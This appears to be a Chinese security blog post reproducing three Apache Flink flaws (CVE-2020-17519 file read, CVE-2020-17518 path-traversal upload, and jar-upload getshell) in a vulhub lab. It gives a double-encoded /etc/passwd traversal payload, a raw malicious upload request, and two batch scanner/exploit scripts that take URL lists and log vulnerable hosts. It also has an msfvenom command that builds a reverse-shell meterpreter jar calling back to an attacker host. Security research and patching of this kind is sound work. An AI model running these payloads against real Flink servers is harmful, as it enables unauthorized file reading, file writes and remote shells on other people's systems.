Apache Flink 是高效和分布式的通用数据处理平台,由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎(简单来说,就是跟spark类似)。Flink 具有监控 API,可用于查询"正在运行的jobs" 和 "最近完成的jobs" 的状态和统计信息。该监控 API 被用于 Flink 自己的dashboard,同时也可用于自定义监控工具
默认监听端口(web页面):8081
flink web默认访问是不需要权限的。
flink的主要漏洞有下面的三个,可以上传jar getshell,任意文件读取,上传路径遍历
先搭建一个用来复现漏洞的环境,本次采用下面的环境来进行复现
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
首先下载这个项目,然后执行命令docker-compose up -d。安装以后正常启动docker。
访问8081页面,可以正常访问,说明环境正常
影响版本:1.11.0, 1.11.1, 1.11.2
Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也发布)允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
http://url/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
传入经过两次url编码的../
漏洞截图
任意读取文件过程中的两次 urldecode 比较有意思,第一次decode产生 path,path 再次decode并切割产生tokens,path 会被当作路由进行匹配,而tokens会被当作最终的函数参数。
org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下
如上图,filename 是直接从 tokens 中取出,直接拼接到 logDir 父目录下,由于 token 经过 2 次 url 解码,所以能够正常获取到 ../../ ,从而进行跨目录读
来自网络
#!/usr/bin/env python
# coding:utf-8
# author:B1anda0
#affected versions are Apache Flink 1.11.0-1.11.2import requests,sys,colorama
from colorama import *
init(autoreset=True)banner='''\033[1;33;40m
_______ ________ ___ ___ ___ ___ __ ______ _____ __ ___
/ ____\ \ / / ____| |__ \ / _ \__ \ / _ \ /_ |____ | ____/_ |/ _ \
| | \ \ / /| |__ ______ ) | | | | ) | | | |______| | / /| |__ | | (_) |
| | \ \/ / | __|______/ /| | | |/ /| | | |______| | / / |___ \ | |\__, |
| |____ \ / | |____ / /_| |_| / /_| |_| | | | / / ___) || | / /
\_____| \/ |______| |____|\___/____|\___/ |_|/_/ |____/ |_| /_/
'''def verify():
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36"}
payload= '/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd'
poc=urls+payload
try:
requests.packages.urllib3.disable_warnings()#解决InsecureRequestWarning警告
response=requests.get(poc,headers=headers,timeout=15,verify=False)
if response.status_code==200 and "root:x" in response.content:
print(u'\033[1;31;40m[+]{} is apache flink directory traversal vulnerability'.format(urls))
print(response.content)
#将漏洞地址输出在Vul.txt中
f=open('./vul.txt','a')
f.write(urls)
f.write('\n')
else:
print('\033[1;32;40m[-]{} None'.format(urls))
except:
print('{} request timeout'.format(urls))if __name__ == '__main__':
print (banner)
if len(sys.argv)!=2:
print('Example:python CVE-2020-17519.py urls.txt')
else:
file = open(sys.argv[1])
for url in file.readlines():
urls=url.strip()
if urls[-1]=='/':
urls=urls[:-1]
verify()
print ('Check Over')
影响版本:1.5.1-1.11.2
Apache Flink 1.5.1引入了REST处理程序,该处理程序允许您通过经过恶意修改的HTTP HEADER将上传的文件写入本地文件系统上的任意位置。
来自网络
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
漏洞截图
返回报错,但是实际上传成功了
触发点在 org.apache.flink.runtime.rest.FileUploadHandler#channelRead0 ,部分函数如下
如上图,fileUpload 是用户可控的内容,则 filename 也是可控的,所以可以修改 filename 进行跨目录写操作
#-*- coding:utf-8 -*-
banner = """
888888ba dP
88 `8b 88
a88aaaa8P' .d8888b. d8888P .d8888b. dP dP
88 `8b. 88' `88 88 Y8ooooo. 88 88
88 .88 88. .88 88 88 88. .88
88888888P `88888P8 dP `88888P' `88888P'
ooooooooooooooooooooooooooooooooooooooooooooooooooooo
@time:2021/01/06 CVE-2020-17518.py
C0de by NebulabdSec - @batsu
"""
print(banner)
import threadpool
import random
import requests
import argparse
import http.client
import urllib3urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'payload_CMD = '''test'''
TARGET_URI = "/jars/upload'%2bsss"def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return uadef CVE_2020_17518(url):
proxies = {"http":"http://127.0.0.1:8080"}
# proxies = {"scoks5": "http://127.0.0.1:1081"}
paramsMultipart = [('jarfile',
('../../../../../tmp/test', "{}\r\n".format(payload_CMD), 'application/octet-stream'))]headers = {
'User-Agent': get_ua(),
"Accept": "*/*"
}
targetUrl = url + TARGET_URI
try:
res = requests.post(targetUrl,
files=paramsMultipart,
headers=headers,
timeout=15,
verify=False,
proxies=proxies)
# proxies={'socks5': 'http://127.0.0.1:1081'})
if len(res.text) == 25 and "Not found" in res.text and "errors" in res.text:
print("[+] URL:{}--------可能存在CVE-2020-17518漏洞".format(url))
with open("存在漏洞地址.txt", 'a') as fw:
fw.write(url + '\n')
else:
print("[-] " + url + " 没有发现CVE-2020-17518漏洞.\n")
except Exception as e:
print(e)
except:
print("[-] " + url + " Request ERROR.\n")def multithreading(filename="ip.txt", pools=5):
works = []
with open(filename, "r") as f:
for i in f:
func_params = [i.rstrip("\n")]
works.append((func_params, None))
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(CVE_2020_17518, works)
[pool.putRequest(req) for req in reqs]
pool.wait()def main():
print("默认上传文件名为../../../../../tmp/test,内容为'''test'''")
parser = argparse.ArgumentParser()
parser.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
parser.add_argument("-f",
"--file",
help="Url File; Example:url.txt")
args = parser.parse_args()
url = args.url
file_path = args.file
if url != None and file_path ==None:
CVE_2020_17518(url)
elif url == None and file_path != None:
multithreading(file_path, 10) # 默认15线程if __name__ == "__main__":
main()
flink默认是没有访问权限的。该漏洞本质是一个反序列化漏洞,上传的jar会进行反序列化的操作。
影响版本:Apache Flink <= 1.9.1
1.生成反弹jar包
msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f jar > rce.jar
2.上传jar,并设置vps监听
3.点击sumbit就可以获取到webshell。我这台机器是高版本,报错没有获取到shell
https://blog.csdn.net/u010942041/article/details/112319674
https://zhuanlan.zhihu.com/p/342355606
原文链接:https://www.freebuf.com/articles/web/370007.html